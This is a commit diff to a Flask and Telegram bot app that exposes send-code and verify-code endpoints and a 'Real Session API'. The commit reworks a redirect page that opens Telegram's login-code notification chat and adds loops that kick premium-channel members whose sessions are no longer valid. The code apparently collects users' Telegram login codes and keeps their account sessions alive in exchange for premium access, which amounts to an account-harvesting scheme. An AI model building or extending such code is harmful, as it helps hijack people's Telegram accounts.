pmrony commited on
Commit
fa71264
·
verified ·
1 Parent(s): 9d03c90

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +31 -8
app.py CHANGED
@@ -46,6 +46,31 @@ async def db_query(func):
46
  def index():
47
  return "Bot, Media Uploader, and Real Session API is Running! 🚀"
48
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
49
  def add_cors_headers(response):
50
  response.headers['Access-Control-Allow-Origin'] = '*'
51
  response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
@@ -120,12 +145,6 @@ def api_send_code():
120
  except Exception as e:
121
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
122
 
123
- @app.route('/api/jump')
124
- def jump_to_telegram():
125
- # এটি টেলিগ্রামের ইন্টারনাল রিডাইরেক্টর গেটওয়ে
126
- response = make_response('<script>window.location.href="tg://openmessage?user_id=777000";setTimeout(function(){window.close();},500);</script>')
127
- return add_cors_headers(response)
128
-
129
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
130
  def api_verify_code():
131
  if request.method == 'OPTIONS':
@@ -365,6 +384,7 @@ async def handle_media_upload(client, message):
365
 
366
  if clear_percent > 0:
367
  clear_ratio = clear_percent / 100.0
 
368
  ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]", "-map", "0:a?"]
369
  else:
370
  ff_filter = ["-vf", f"boxblur={radius}:1"]
@@ -427,6 +447,7 @@ async def handle_media_upload(client, message):
427
  sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
428
  tg_file_id = sent_to_admin.animation.file_id
429
  else:
 
430
  sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
431
  tg_file_id = sent_to_admin.video.file_id
432
 
@@ -510,6 +531,7 @@ async def add_png(client, message):
510
  await message.reply("✅ Now send the Video/Embed Link.")
511
  except Exception as e: print(e)
512
 
 
513
  @bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
514
  async def manual_clean_channel(client, message):
515
  await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
@@ -540,7 +562,7 @@ async def manual_clean_channel(client, message):
540
  if not is_valid:
541
  try:
542
  await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
543
- await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only so they can re-join later
544
  kicked += 1
545
  except Exception as e: pass
546
 
@@ -550,8 +572,9 @@ async def manual_clean_channel(client, message):
550
  except Exception as e:
551
  await message.reply(f"❌ Error: {e}")
552
 
 
553
  async def auto_clean_channel_loop():
554
- await asyncio.sleep(60) # Wait 1 min after startup
555
  while True:
556
  try:
557
  async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
 
46
  def index():
47
  return "Bot, Media Uploader, and Real Session API is Running! 🚀"
48
 
49
+ # রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে
50
+ @app.route('/api/jump')
51
+ def jump_to_telegram():
52
+ html_content = """
53
+ <!DOCTYPE html>
54
+ <html>
55
+ <head>
56
+ <title>Redirecting...</title>
57
+ <script>
58
+ window.location.href = "tg://openmessage?user_id=777000";
59
+ setTimeout(function() {
60
+ window.close();
61
+ }, 500);
62
+ </script>
63
+ </head>
64
+ <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
65
+ <div style="text-align:center;">
66
+ <div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
67
+ <div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
68
+ </div>
69
+ </body>
70
+ </html>
71
+ """
72
+ return make_response(html_content)
73
+
74
  def add_cors_headers(response):
75
  response.headers['Access-Control-Allow-Origin'] = '*'
76
  response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
 
145
  except Exception as e:
146
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
147
 
 
 
 
 
 
 
148
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
149
  def api_verify_code():
150
  if request.method == 'OPTIONS':
 
384
 
385
  if clear_percent > 0:
386
  clear_ratio = clear_percent / 100.0
387
+ # FFMPEG Audio Map ফিক্স
388
  ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]", "-map", "0:a?"]
389
  else:
390
  ff_filter = ["-vf", f"boxblur={radius}:1"]
 
447
  sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
448
  tg_file_id = sent_to_admin.animation.file_id
449
  else:
450
+ # Pyrogram V2 thumbnail ফিক্স
451
  sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
452
  tg_file_id = sent_to_admin.video.file_id
453
 
 
531
  await message.reply("✅ Now send the Video/Embed Link.")
532
  except Exception as e: print(e)
533
 
534
+ # সেশন টার্মিনেশন চেক এবং কিক আউট করার এডমিন কমান্ড
535
  @bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
536
  async def manual_clean_channel(client, message):
537
  await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
 
562
  if not is_valid:
563
  try:
564
  await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
565
+ await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only (allows re-join later)
566
  kicked += 1
567
  except Exception as e: pass
568
 
 
572
  except Exception as e:
573
  await message.reply(f"❌ Error: {e}")
574
 
575
+ # সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
576
  async def auto_clean_channel_loop():
577
+ await asyncio.sleep(60) # startup delay
578
  while True:
579
  try:
580
  async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):